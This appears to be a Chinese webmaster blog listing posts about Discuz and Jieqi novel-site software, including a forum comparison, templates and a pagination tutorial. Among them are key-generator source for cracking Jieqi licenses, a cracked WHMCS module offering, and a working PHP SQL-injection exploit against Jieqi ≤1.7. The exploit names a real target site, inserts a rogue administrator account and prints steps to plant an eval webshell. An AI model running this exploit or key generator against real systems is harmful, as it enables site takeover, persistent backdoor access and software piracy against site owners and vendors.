作者: James

  • 修罗论坛(xinuo)转Discuz 3.x转换程序

    修罗论坛(xinuo)转Discuz 3.x转换程序

    相信很多人会先选择xinuo,因为他的界面清爽什么的。但是xinuo功能太简单了,他的那些第三方插件的代码也太垃圾了,很多人用完xinuo没多久,就会想切换回Discuz,这边提供了一个插件来帮助大家。

    安装方法很简单,解压上传到Discuz的source\plugin目录,然后在后台按照步骤一步一步运行就可以了。

    如果在使用过遇到任何问题,可以在评论区留言。

  • 想新建一个论坛,该选哪个程序?

    想新建一个论坛,该选哪个程序?

    中国互联网从九几年开始有论坛,现在也快有25年了。

    互联网最开始大家玩的就是论坛,到现在还在玩论坛的已经很少了,但是在有些垂直领域,论坛又是一个必不可少的工具。相对于单纯的聊天工具来说,论坛有更容易阅读感兴趣的话题的优势。

    论坛程序是用于在线交流和讨论的软件应用程序。它们提供了一个平台,使用户能够创建主题、发表帖子、回复他人的帖子,并与其他用户进行互动。论坛程序的历史可以追溯到互联网的早期时期,下面是一些论坛程序的历史里程碑:

    1. Bulletin Board Systems (BBS)(电子公告栏系统):在互联网普及之前,BBS是人们在线交流的主要方式。它们是运行在个人计算机上的软件,通过调制解调器提供拨号连接。用户可以通过BBS发布消息、留言和下载文件。
    2. Usenet(用户网):Usenet于1980年代发展起来,是一种分布式的讨论系统。它通过一系列的服务器和新闻组(newsgroup)组成,用户可以发布文章和回复。Usenet以其广泛的主题覆盖范围而闻名,成为早期互联网上的主要讨论平台。
    3. Web论坛的兴起:随着万维网的发展,Web论坛开始兴起。1994年,Slashdot成为最早的技术讨论论坛之一,它使用开源软件提供讨论功能。之后,更多的Web论坛软件相继出现,如phpBB、vBulletin和Discourse等。
    4. 社交媒体的影响:2000年代初,随着社交媒体的兴起,一些传统论坛面临挑战。平台如Facebook和Twitter提供了更直接的社交互动方式,吸引了用户的注意力。然而,论坛仍然在一些特定的领域和兴趣群体中保持着活跃度。
    5. 现代论坛的特点:现代论坛程序通常提供用户注册、创建主题、发表回复、私信、投票等功能。它们还支持用户管理和版主制度,以确保论坛秩序和内容质量。同时,一些论坛还支持插件扩展、主题定制和移动设备兼容性。

    虽然社交媒体和其他在线平台在某种程度上取代了传统论坛的功能,但论坛仍然是一种重要的在线交流工具。它们在技术支持、专业讨论、兴趣爱好和社群建设等方面发挥着重要作用。随着时间的推移,论坛程序不断演化,以适应用户的需求和技术的发展。

    国内最早的其它是LeoBBS,是CGI开发的。后面才出现了PHP开发的VB,IPB,CDB(Discuz的前身),PHPWIND等论坛程序 。

    1. vBulletin:vBulletin 是一套国际知名的商业论坛程序,也在中国有着一定的用户群体。它提供了丰富的功能和可定制性,被广泛应用于各类网站和社区。
    2. MyBB:MyBB 是一套开源的论坛程序,具有轻量级、易用的特点。它提供了常见的论坛功能,如主题、回复、用户管理等,适用于中小型社区或个人网站。
    3. XenForo:XenForo 是一套商业论坛程序,由vBulletin的前开发者开发。它拥有现代化的界面设计和丰富的功能,被认为是vBulletin的竞争对手之一。
    4. PHPOK:PHPOK 是一套基于PHP和MySQL的开源论坛程序。它提供了论坛、博客、电子商务等功能,适用于构建多功能的网站。
    5. SNS论坛:SNS论坛是一种结合了社交网络和论坛功能的平台,用户可以创建个人资料、添加好友、分享内容,并进行讨论交流。著名的SNS论坛包括新浪微博、腾讯微博等。
    6. Discuz!(Discuz! X):Discuz! 是由康盛创想(Comsenz)开发的一套论坛程序。它于2002年首次发布,成为中国最早和最流行的论坛程序之一。Discuz! 提供了丰富的功能,包括帖子发布、回复、用户管理、插件扩展等。随着时间的推移,Discuz! 不断升级和改进,逐渐成为中国最受欢迎的论坛程序之一。
    7. PHPWind(phpWind):PHPWind 是由淘米网(TOM)开发的一套开源论坛程序。它于2003年发布,提供了类似于Discuz! 的功能,包括帖子管理、用户管理、权限控制等。PHPWind 开源的特点使得它成为许多网站和社区选择的论坛程序。
    8. Leobbs:LeoBBS 是一套由李杰(LeoJ)开发的开源论坛程序。它于2003年发布,具有简洁、高效的特点。LeoBBS 虽然在市场上的影响力不如 Discuz! 和 PHPWind,但在一些技术社区和开发者圈子中仍然有一定的用户群体。

    当然,这些都是老话,今天,2023年,如果我们要建一个论坛,应该选择什么程序呢。

    首先,万变不离其宗。我们首先要搞明白我们自己的需求是什么。

    我们是要建一个综合性的社区,还是垂直领域的交流,亦或是一个非常简单的小论坛。

    如果是综合性的社区,那还是推荐Discuz,因为发展了这个多年,Discuz的成熟度,社区的支持程序都是无法比拟的,它有大量的模板和插件支撑,能够轻松实现很多你想要的功能。当然,那些模板和插件的代码质量不敢恭维,如果你真的要运营起来,肯定还是要经历不少二次开发的。

    如果是垂直社区,那你的选择就比较比了,比如DiscuzQ就是一个很好的产品,它基于Vue开发,能够以小程序等形式运行,还可以打包成uniapp。

    如果是传统的小范围交流社区,那还是建议vBulletin,IPB这些个老牌的产品,只是如今论坛程序式微,它们也没有好的中文社区能够支持。

    XenForo是做软件分享的最好的论坛了,它支持产品按版本来更新。非常的优秀。建议可以尝试一下。

    关于这些论坛程序的安装,后面我们会有专门的文章来指导。

    请持续关注我们吧。

  • Biqi杰奇全站源码

    Biqi杰奇全站源码

    这个是biqi基于杰奇的全站源码,二次开发了很多功能。

    比如:签到,下书,站点地图,投票等。

    是百度权重非常高的一个模板。

    截图上可见增加的功能之多。

  • 杰奇授权源代码 支持1.6,1.7,1.8

    1.6&1.7授权源码:

    
    
    <?php
    if (isset($_POST['action'])){
    	$domain = $_POST['domain'];
    	$type = $_POST['type'];
    	$license = "system=$type|forum=$type|article=$type|obook=$type|pay=$type|wap=$type|waparticle=$type|wapforum=$type|badge=$type|group=$type|space=$type|info=$type|cartoon=$type|quiz=$type|news=$type|product=$type|team=$type|vote=$type|note=$type|link=$type";
    	$encode = "jnyzn090211";
    	$md5 = md5($domain.$license.$encode);
    	$array = array();
    	$array[] = base64_encode($md5);
    	$array[] = base64_encode($domain);
    	$array[] = base64_encode($license);
    	$key = implode("@", $array);
    }else{
    	$domain = "";
    	$type = "FREE";
    	$key = "";
    }
    ?>
    <div class="container container-page">
    
        <div class="content">
    
    			<h1 class="article-title"><a href="<?php the_permalink();?>"><?php the_title();?></a></h1>
    
    
    
    
    <h3>杰奇授权生成 for 1.6&1.7</h3>
    <form action="key.php" method="post">
    <table>
    	<tr>
    		<td>授权域名:(多个域名用“|”分隔)</td>
    		<td><input type="text" name="domain" value="<?php echo $domain?>" size="60" /></td>
    	</tr>
    	<tr>
    		<td>选择授权模式:</td>
    		<td>
    			<select name="type">
    				<option value="FREE"<?php if ($type == "FREE"){ ?> selected<?php }?>>免费版</option>
    				<option value="POPULAR"<?php if ($type == "POPULAR"){ ?> selected<?php }?>>普及版</option>
    				<option value="STANDARD"<?php if ($type == "STANDARD"){ ?> selected<?php }?>>标准版</option>
    				<option value="PROFESSION"<?php if ($type == "PROFESSION"){ ?> selected<?php }?>>专业版</option>
    				<option value="ENTERPRISE"<?php if ($type == "ENTERPRISE"){ ?> selected<?php }?>>企业版</option>
    				<option value="DELUXE"<?php if ($type == "DELUXE"){ ?> selected<?php }?>>豪华版</option>
    				<option value="CUSTOM"<?php if ($type == "CUSTOM"){ ?> selected<?php }?>>定制版</option>
    			</select>
    		</td>
    	</tr>
    	<tr>
    		<td>生成授权:</td>
    		<td><textarea class="textarea" name="key" rows="10" cols="60"><?php echo $key?></textarea></td>
    	</tr>
    	<tr>
    		<td><input type="hidden" name="action" value="make" /></td>
    		<td><input type="submit" value="生成" /></td>
    	</tr>
    </table>
    </form>
    	</div>
    </div>

    1.8授权源码

    <?php
    if (isset($_POST['action'])){
    	$domain = $_POST['domain'];
    	$type = $_POST['type'];
    	$license = "system=$type|forum=$type|article=$type|obook=$type|pay=$type|wap=$type|waparticle=$type|wapforum=$type|badge=$type|group=$type|space=$type|info=$type|cartoon=$type|quiz=$type|news=$type|product=$type|team=$type|vote=$type|note=$type|link=$type";
    	$encode = "jnyzn090211";
    	$md5 = md5($domain.$license."yscp" . chr(88) . "13" . "top" . "dyxz" . chr(66) . "52DDjc", true);
    	$array = array();
    	$array[] = base64_encode($md5);
    	$array[] = base64_encode($domain);
    	$array[] = base64_encode($license);
    	$key = implode("@", $array);
    }else{
    	$domain = "";
    	$type = "FREE";
    	$key = "";
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gbk" />
    <title>杰奇授权生成</title>
    </head>
    <body>
    <h3>杰奇授权生成 for 1.8</h3>
    <form action="key.php" method="post">
    <table>
    	<tr>
    		<td>授权域名:(多个域名用“|”分隔)</td>
    		<td><input type="text" name="domain" value="<?php echo $domain?>" size="60" /></td>
    	</tr>
    	<tr>
    		<td>选择授权模式:</td>
    		<td>
    			<select name="type">
    				<option value="FREE"<?php if ($type == "FREE"){ ?> selected<?php }?>>免费版</option>
    				<option value="POPULAR"<?php if ($type == "POPULAR"){ ?> selected<?php }?>>普及版</option>
    				<option value="STANDARD"<?php if ($type == "STANDARD"){ ?> selected<?php }?>>标准版</option>
    				<option value="PROFESSION"<?php if ($type == "PROFESSION"){ ?> selected<?php }?>>专业版</option>
    				<option value="ENTERPRISE"<?php if ($type == "ENTERPRISE"){ ?> selected<?php }?>>企业版</option>
    				<option value="DELUXE"<?php if ($type == "DELUXE"){ ?> selected<?php }?>>豪华版</option>
    				<option value="CUSTOM"<?php if ($type == "CUSTOM"){ ?> selected<?php }?>>定制版</option>
    			</select>
    		</td>
    	</tr>
    	<tr>
    		<td>生成授权:</td>
    		<td><textarea class="textarea" name="key" rows="10" cols="60"><?php echo $key?></textarea></td>
    	</tr>
    	<tr>
    		<td><input type="hidden" name="action" value="make" /></td>
    		<td><input type="submit" value="生成" /></td>
    	</tr>
    </table>
    </form>
    </body>
    </html>
  • 31个杰奇小说系统模板打包下载

    31个杰奇小说系统模板打包下载

    收集了31个杰奇小说系统模板打包下载 ,由于比较多,不一一截图了。

    模板列表见下图,需要的自取。

    有些模板是从来没有流传到市面的独一无二的模板。

    为避免泛滥,本资源仅限王者及以上等级下载 。

  • 杰奇1.7及以前版本的注入脚本

    使用此脚本会直接在目标网站的数据库中插入一个新的管理员,

    username = b1u3b0y
    password = lanhai

    本代码仅为实验用途,请勿用于非法用途。

    另:杰奇1.7官方版已经修复此漏洞。

    <?php
    error_reporting(0);
    set_time_limit(0);
    ini_set("default_socket_timeout", 5);
    
    $argv = array("","www.slzww.com","80","http://www.slzww.com/");
    
    function http_send($host, $packet, $port){
            $sock = fsockopen($host, $port);
            while (!$sock){
                    print "\n[-] No response from {$host}:$port Trying again...";
                    $sock = fsockopen($host, $port);
            }
            fputs($sock, $packet);
            while (!feof($sock)) $resp .= fread($sock, 1024);
            fclose($sock);
            print $resp;
            return $resp;
    }
    
    print_r('
    +---------------------------------------------------------------------------+
    |   Jieqi CMS Add Manager [version <=1.7]                                        |
    +---------------------------------------------------------------------------+
    +---------------------------------------------------------------------------+
    ');
    
    
    
    $host = $argv[1];
    $port = $argv[2];
    $path = $argv[3];
    $payload  = "username=woainimeimei&password=imnothack&repassword=imnothack&email=woainimeimei@163.COM&sex=9,'woainimeimei@163.COM','',0,0,'','','','','','','','',1332592733,0,0,0,1,0,0,0,0,10,10,0,0,0,0,0,0,0,0),(0, 0, 'niaiwome', 'niaiwome', '2eb429c676681a7bf5ae8702aa768363', 2, 1332592733, 'H', 9, 'justjsp@163.com', '', 0, 0, '', '', '', '', '', '', '', '', 1332592733, 0, 0, 0, 1, 0, 0, 0, 0, 10, 10, 0, 0, 0,0, 0, 0, 0, 0)#&qq=&url=&action=newuser&submit=%CC%E1+%BD%BB\r\n";
    $packet = "POST {$path}register.php?do=submit HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Cookie: jieqiVisitInfo=jieqiUserLogin%3D1332488363%2CjieqiUserId%3D1; PHPSESSID=ho4u03ebnlq6cl6vlg1t2kbjg2";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $payload;
    
    http_send($host, $packet, $port);
    
    print_r('
    +---------------------------------------------------------------------------+
    [+] Add manager successful?  Please check it yourself!
    [ ] Default URL: http://localhost/admin
    [ ] username = b1u3b0y
    [ ] password = lanhai
    +---------------------------------------------------------------------------+
    [+] Get Webshell (mysql用户需要file_priv权限)
    [ ] [系统工具] -> [系统信息]  (Get Path)
    [ ] [数据维护] -> [数据库升级] 
    [ ] 执行 [ select concat(char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)) into dumpfile \'C:\\\\wwwroot\\\\1.php\' ]
    [ ] http://localhost/1.php (password:cmd)
    +---------------------------------------------------------------------------+
    ');
    ?>
  • 杰奇让小说目录页和内容页支持分页的方法

    找到
    modules\article\class\package.php
    目录分页
      1、找到以下代码段
         foreach($this->chapters as $k => $chapter){
      2、替换为
    
    
         //处理上一页和下一页页码
    
    $pageid = intval($_GET['page']);
    
    $aid = intval($_GET['aid']);
    
    $pagenum = 50;
    
    $pagecount =ceil( count($this->chapters)/$pagenum );
    
    if($pageid != 1){
    
    $previd = $pageid - 1;
    
    }
    
    if($pageid != $pagecount){
    
    $nextcid = $pageid + 1;
    
    }
    
    else{
    
    $nextcid = $pagecount;
    
    }
    
    //页码设置//
    
    $shouye = '<a href="reader.php?aid='.$aid.'">首页 </a>';
    
    $prepage = '<a href="reader.php?aid='.$aid.'&page='.$previd.'"> 上一页 </a>';
    
    $nextpage = '<a href="reader.php?aid='.$aid.'&page='.$nextcid.'"> 下一页 </a>';
    
    $weiye = '<a href="reader.php?aid='.$aid.'&page='.$pagecount.'"> 尾页</a>';
    
    //首页尾页处理
    
    //第一页
    
    if($pageid == 1 ){ $shouye = '';$prepage = ''; }
    
    //最后一页
    
    if($pageid == $pagecount){ $weiye = '';$nextpage = ''; }
    
    if($pageid == 1 && $pageid == $pagecount){
    
    $nextpage = '<a href="reader.php?aid='.$aid.'&page='.$nextcid.'">下一页 </a>';
    
    $weiye = '<a href="reader.php?aid='.$aid.'&page='.$pagecount.'"> 尾页</a>';
    
    }
    
    
    
    
    $pagelink = '
    
    <div class="page">'.$shouye.$prepage.$nextpage.$weiye.'</div>
    
    <div class="page">输入页数<input id="pageinput" size="4" /><input type="button" value="跳转" onclick = "page()" /> <br/>(第'.$pageid.'/'.$pagecount.'页)当前'.$pagenum.'条/页</div>
    
    <script>
    
    function page(){
    
    var p = document.getElementById("pageinput").value;
    
    if(isPositiveNum(p)){window.open("reader.php?aid='.$aid.'&page="+p+"/","_self");}
    
    function isPositiveNum(s){ 
    
    var re = /^[0-9]*[1-9][0-9]*$/ ;  
    
    return re.test(s)  
    
    }
    
    }
    
    </script>
    
    ';
    
    $jieqiTpl->assign('pagelink',$pagelink);
    
    //处理上一页和下一页页码结束
    
    
    
    
    $kkk = array_slice($this->chapters,($pageid-1)*$pagenum,$pagenum);//分页设置array_slice
    
    foreach($kkk as $k => $chapter){   //$this->chapters  改成 $kkk
    3、只需在模板文件适当的位置 使用标签 {?$pagelink?}即可
    杰奇阅读页分页代码使用说明
    第一步,打开/modules/article/class/package.php查找jieqi_content,在该语句上面一行加上以下代码:(若调用的不是pacheage.php而是其他文件,请修改对应的文件)
    $page = intval($_GET['page']);
    
    if ($page<1) $page=1;
    
    if($page){
    
    $length=strlen($tmpvar);
    
    $zishu=ceil($length/4)+10;
    
    if ($length<8000) $zishu=ceil($length/3)+10;
    
    if ($length<4000) $zishu=ceil($length/2)+10;
    
    if ($length<2000) $zishu=$length+10;
    
    $page_count=ceil($length/$zishu);
    
    function msubstr($str,$start,$len){
    
    $strlength=$start+$len;
    
    $tmpstr="";
    
    for($i=0;$i<$strlength;$i++) {
    
    if(ord(substr($str,$i,1))>0xa0) {
    
    $tmpstr.=substr($str,$i,2);
    
    $i++;
    
    }else{
    
    $tmpstr.=substr($str,$i,1);
    
    }
    
    }
    
    return $tmpstr;
    
    }
    
    //------------截取中文字符串---------
    
    $c=msubstr($tmpvar,0,($page-1)*$zishu);
    
    $c1=msubstr($tmpvar,0,$page*$zishu);
    
    $tmpvar=substr($c1,strlen($c),strlen($c1)-strlen($c));
    
    }
    
    $jieqiTpl->assign('prev',$page-1);
    
    $next=0;
    
    if ($page<$page_count) $next=$page+1;
    
    $jieqiTpl->assign('next',$next);
    
    $jieqiTpl->assign('page',$page);
    
    $jieqiTpl->assign('page_count',$page_count);
    
    $jieqiTpl->assign('jieqi_content',$tmpvar);
    第二步:打开阅读页模板文件:
    在TITLE标签里的章节名后面加上:{?if $page != 1?}-第{?$page?}页{?/if?}
    在章节名{?$jieqi_title?}后加上:{?if $page != 1?}(第{?$page?}/{?$page_count?}页){?/if?}
    以上两个不需要的可以不加
    在{?$jieqi_content?}后面加上–>>这几个字符,以免在截取到<br>中间的时候造成错位
    将上一页连接改成:{?if $prev==0?}{?if $preview_chapterid==”?}/wcxs/{?$article_id?}/{?else?}{?$preview_chapterid?}.html{?/if?}{?else?}/wcxs/{?$article_id?}/{?$chapter_id?}{?if $prev!=1?}_{?$prev?}{?/if?}.html{?/if?}
    将下一页连接改成:{?if $next==0?}{?if $next_chapterid==”?}/wcxs/{?$article_id?}/{?else?}{?$next_chapterid?}.html{?/if?}{?else?}/wcxs/{?$article_id?}/{?$chapter_id?}_{?$next?}.html{?/if?}
    上下页连接如需改成伪静态请按需修改
  • 一套小说采集系统的源码,支持cookie登录

    一套小说采集系统的源码,支持cookie登录

    源码是C#的,站长使用Visual Studio 2022打开无错,可以编译并运行采集。系统支持jieqi。

    有几个特点

    • 支持多线程并发
    • 支持用户名密码登录采集
    • 支持ocr识别图片转文字

    需要的请自取。请合法使用,不得使用任何非法用途。

  • Resellers Center For WHMCS v3.12.0破解版

    Resellers Center For WHMCS v3.12.0破解版

    34d8e8e562cfacacd321c15b569541e5-png.173009

    Resellers Center For WHMCS will empower your resellers to handle acquired customers and generated sales in your system, while also helping you keep all their ventures under essential supervision. It is through your resellers that end clients will be able to obtain products, addons and domains directly from you!

    The module features a flexible management model based on reseller groups. Each group you create can gain a diverse set of reselling permissions applicable to store branding, payment gateways, payouts’ calculation methods, and other conditions. You will be able to track the sales progress statistics, as well as draw up multiple variants of documentation for resellers. Importantly, you will not need to be involved in any of reselling activities directly – the resellers alone can offer promo codes, handle acquired purchases, or even respond in tickets. All without ever leaving your WHMCS!

    The genius of Resellers Center For WHMCS lies also in the choice between two reliable invoicing formulas. The first one will permit the resellers to configure independent payment gateways, issue customized invoices for end clients, and collect the money in a direct manner. Alternatively, you can receive payments settled by end clients in full, and then transfer payouts to your resellers either manually or automatically.

    Let your products and services be further marketed with incomparable comfort and efficiency. Order Resellers Center For WHMCS if you crave to widen the circle of satisfied audience and rocket generated profits in next to no time!

  • 无错ChatGPT升级 gpt-3.5-turbo-16k 模型

    无错ChatGPT升级 gpt-3.5-turbo-16k 模型

    第一步
    修改slice.ts文件 文件地址:/src/store/config/slice.ts
    ooLphHv8

    第二步
    修改index.tsx文件 文件地址:/src/pages/admin/token/index.tsx
    IAzxl6HC

    第三步
    修改package.json 文件地址:根目录
    FXUW4puc

    无错ChatGPT下载地址:

    [b2_insert_post id=”3301″]